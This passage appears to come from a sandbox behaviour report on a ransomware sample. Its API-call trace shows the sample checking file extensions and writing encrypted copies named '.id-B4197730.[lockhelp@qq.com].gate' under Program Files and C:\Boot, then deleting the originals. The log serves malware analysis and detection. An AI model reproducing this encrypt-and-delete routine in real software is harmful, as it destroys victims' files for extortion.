Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0321.410] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=1053784) returned 1 [0321.410] CloseHandle (hObject=0x350) returned 1 [0321.410] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll")) returned 0x20 [0321.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.411] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\streamserver.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0321.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.411] lstrlenW (lpString=".doc") returned 4 [0321.411] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.411] lstrlenW (lpString=".docx") returned 5 [0321.411] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0321.411] lstrlenW (lpString=".pdf") returned 4 [0321.411] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.411] lstrlenW (lpString=".xls") returned 4 [0321.411] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.411] lstrlenW (lpString=".xlsx") returned 5 [0321.411] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0321.411] lstrlenW (lpString=".ppt") returned 4 [0321.411] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.411] lstrlenW (lpString=".zip") returned 4 [0321.411] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.411] lstrlenW (lpString=".rar") returned 4 [0321.411] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.411] lstrlenW (lpString=".bz2") returned 4 [0321.412] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.412] lstrlenW (lpString=".7z") returned 3 [0321.412] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.412] lstrlenW (lpString=".dbf") returned 4 [0321.412] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.412] lstrlenW (lpString=".1cd") returned 4 [0321.412] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.412] lstrlenW (lpString=".jpg") returned 4 [0321.412] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.412] lstrlenW (lpString=".doc") returned 4 [0321.412] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0321.412] lstrlenW (lpString=".docx") returned 5 [0321.412] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0321.412] lstrlenW (lpString=".pdf") returned 4 [0321.412] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0321.412] lstrlenW (lpString=".xls") returned 4 [0321.412] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0321.412] lstrlenW (lpString=".xlsx") returned 5 [0321.412] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0321.412] lstrlenW (lpString=".ppt") returned 4 [0321.412] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0321.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.413] lstrlenW (lpString=".zip") returned 4 [0321.413] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0321.413] lstrlenW (lpString=".rar") returned 4 [0321.413] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0321.413] lstrlenW (lpString=".bz2") returned 4 [0321.413] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0321.413] lstrlenW (lpString=".7z") returned 3 [0321.413] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0321.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.413] lstrlenW (lpString=".dbf") returned 4 [0321.413] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0321.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.413] lstrlenW (lpString=".1cd") returned 4 [0321.413] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0321.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\StreamServer.dll") returned 74 [0321.413] lstrlenW (lpString=".jpg") returned 4 [0321.413] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0321.413] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0321.413] lstrlenW (lpString="ucrtbase.dll") returned 12 [0321.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0321.414] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=982720) returned 1 [0321.414] CloseHandle (hObject=0x350) returned 1 [0321.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll")) returned 0x20 [0321.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0321.414] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0321.415] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.415] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1 [0321.415] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ucrtbase.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\ucrtbase.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0321.415] GetLastError () returned 0x0 [0321.415] ReadFile (in: hFile=0x350, lpBuffer=0x4176020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x4176020*, lpNumberOfBytesRead=0x378fecc*=0xefec0, lpOverlapped=0x0) returned 1 [0321.697] WriteFile (hFile=0x364, lpBuffer=0x4176020, nNumberOfBytesToWrite=0xefed0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0) Thread: id = 105 os_tid = 0xddc [0318.093] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3df0770 [0318.093] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10000) returned 0x3e00778 [0318.094] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4ed9e8 [0318.094] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x6) returned 0x4e58a8 [0318.094] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4eda00 [0318.094] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x100000) returned 0x4286020 [0318.096] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4eda18 [0318.096] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4eda18, Size=0x20) returned 0x4e96f8 [0318.096] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0x10) returned 0x4eda78 [0318.096] RtlReAllocateHeap (Heap=0x490000, Flags=0x0, Ptr=0x4eda78, Size=0x20) returned 0x4e9798 [0318.096] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77740000 [0318.096] GetProcAddress (hModule=0x77740000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77756b30 [0318.096] Wow64DisableWow64FsRedirection (in: OldValue=0x38cff50 | out: OldValue=0x38cff50*=0x0) returned 1 [0318.096] lstrlenW (lpString="kernel32.dll") returned 12 [0318.096] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e96f8 | out: hHeap=0x490000) returned 1 [0318.096] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0318.096] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x4e9798 | out: hHeap=0x490000) returned 1 [0318.096] Sleep (dwMilliseconds=0x64) [0318.359] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0318.359] lstrlenW (lpString="bootvhd.dll") returned 11 [0318.360] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0318.360] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=99744) returned 1 [0318.360] CloseHandle (hObject=0x324) returned 1 [0318.360] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0318.360] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.360] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0318.564] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.565] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.565] lstrlenW (lpString=".doc") returned 4 [0318.565] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0318.565] lstrlenW (lpString=".docx") returned 5 [0318.565] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0318.565] lstrlenW (lpString=".pdf") returned 4 [0318.565] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0318.565] lstrlenW (lpString=".xls") returned 4 [0318.565] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0318.565] lstrlenW (lpString=".xlsx") returned 5 [0318.565] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0318.565] lstrlenW (lpString=".ppt") returned 4 [0318.565] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0318.565] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.565] lstrlenW (lpString=".zip") returned 4 [0318.565] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0318.565] lstrlenW (lpString=".rar") returned 4 [0318.565] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0318.565] lstrlenW (lpString=".bz2") returned 4 [0318.565] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0318.565] lstrlenW (lpString=".7z") returned 3 [0318.565] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0318.565] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.565] lstrlenW (lpString=".dbf") returned 4 [0318.565] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0318.565] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.565] lstrlenW (lpString=".1cd") returned 4 [0318.565] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0318.565] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.565] lstrlenW (lpString=".jpg") returned 4 [0318.565] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0318.565] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.565] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.566] lstrlenW (lpString=".doc") returned 4 [0318.566] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0318.566] lstrlenW (lpString=".docx") returned 5 [0318.566] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0318.566] lstrlenW (lpString=".pdf") returned 4 [0318.566] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0318.566] lstrlenW (lpString=".xls") returned 4 [0318.566] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0318.566] lstrlenW (lpString=".xlsx") returned 5 [0318.566] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0318.566] lstrlenW (lpString=".ppt") returned 4 [0318.566] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0318.566] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.566] lstrlenW (lpString=".zip") returned 4 [0318.566] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0318.566] lstrlenW (lpString=".rar") returned 4 [0318.566] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0318.566] lstrlenW (lpString=".bz2") returned 4 [0318.566] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0318.566] lstrlenW (lpString=".7z") returned 3 [0318.566] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0318.566] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.566] lstrlenW (lpString=".dbf") returned 4 [0318.566] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0318.566] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.566] lstrlenW (lpString=".1cd") returned 4 [0318.566] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0318.566] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0318.566] lstrlenW (lpString=".jpg") returned 4 [0318.566] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0318.566] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0318.567] lstrlenW (lpString="api-ms-win-core-file-l2-1-0.dll") returned 31 [0318.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0318.954] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18624) returned 1 [0318.954] CloseHandle (hObject=0x358) returned 1 [0318.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 0x20 [0318.954] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0318.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0318.955] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.955] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0318.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0318.956] GetLastError () returned 0x0 [0318.956] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x48c0, lpOverlapped=0x0) returned 1 [0319.040] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x48d0, lpOverlapped=0x0) returned 1 [0319.041] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1 [0319.041] WriteFile (in: hFile=0x35c, lpBuffer=0x4286020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x4286020*, lpNumberOfBytesWritten=0x38cfc94*=0x112, lpOverlapped=0x0) returned 1 [0319.041] SetEndOfFile (hFile=0x35c) returned 1 [0319.041] CloseHandle (hObject=0x35c) returned 1 [0319.041] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.042] SetEndOfFile (hFile=0x358) returned 1 [0319.042] CloseHandle (hObject=0x358) returned 1 [0319.042] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0319.043] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-file-l2-1-0.dll")) returned 1 [0319.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.043] lstrlenW (lpString=".doc") returned 4 [0319.043] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.043] lstrlenW (lpString=".docx") returned 5 [0319.043] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.043] lstrlenW (lpString=".pdf") returned 4 [0319.043] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.043] lstrlenW (lpString=".xls") returned 4 [0319.043] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.043] lstrlenW (lpString=".xlsx") returned 5 [0319.043] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.043] lstrlenW (lpString=".ppt") returned 4 [0319.043] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.043] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.043] lstrlenW (lpString=".zip") returned 4 [0319.043] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.043] lstrlenW (lpString=".rar") returned 4 [0319.043] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.043] lstrlenW (lpString=".bz2") returned 4 [0319.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.044] lstrlenW (lpString=".7z") returned 3 [0319.044] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.044] lstrlenW (lpString=".dbf") returned 4 [0319.044] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.044] lstrlenW (lpString=".1cd") returned 4 [0319.044] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.044] lstrlenW (lpString=".jpg") returned 4 [0319.044] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.044] lstrlenW (lpString=".doc") returned 4 [0319.044] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0319.044] lstrlenW (lpString=".docx") returned 5 [0319.044] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0319.044] lstrlenW (lpString=".pdf") returned 4 [0319.044] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0319.044] lstrlenW (lpString=".xls") returned 4 [0319.044] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0319.044] lstrlenW (lpString=".xlsx") returned 5 [0319.044] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0319.044] lstrlenW (lpString=".ppt") returned 4 [0319.044] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0319.044] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.044] lstrlenW (lpString=".zip") returned 4 [0319.044] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0319.044] lstrlenW (lpString=".rar") returned 4 [0319.044] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0319.044] lstrlenW (lpString=".bz2") returned 4 [0319.044] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0319.045] lstrlenW (lpString=".7z") returned 3 [0319.045] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0319.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.045] lstrlenW (lpString=".dbf") returned 4 [0319.045] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0319.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.045] lstrlenW (lpString=".1cd") returned 4 [0319.045] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0319.045] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-file-l2-1-0.dll") returned 89 [0319.045] lstrlenW (lpString=".jpg") returned 4 [0319.045] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0319.045] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0319.045] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0319.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.045] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=18624) returned 1 [0319.045] CloseHandle (hObject=0x358) returned 1 [0319.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0319.045] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0319.045] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0319.046] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.046] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1 [0319.046] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0319.054] GetLastError () returned 0x0 [0319.054] ReadFile (in: hFile=0x358, lpBuffer=0x4286020, 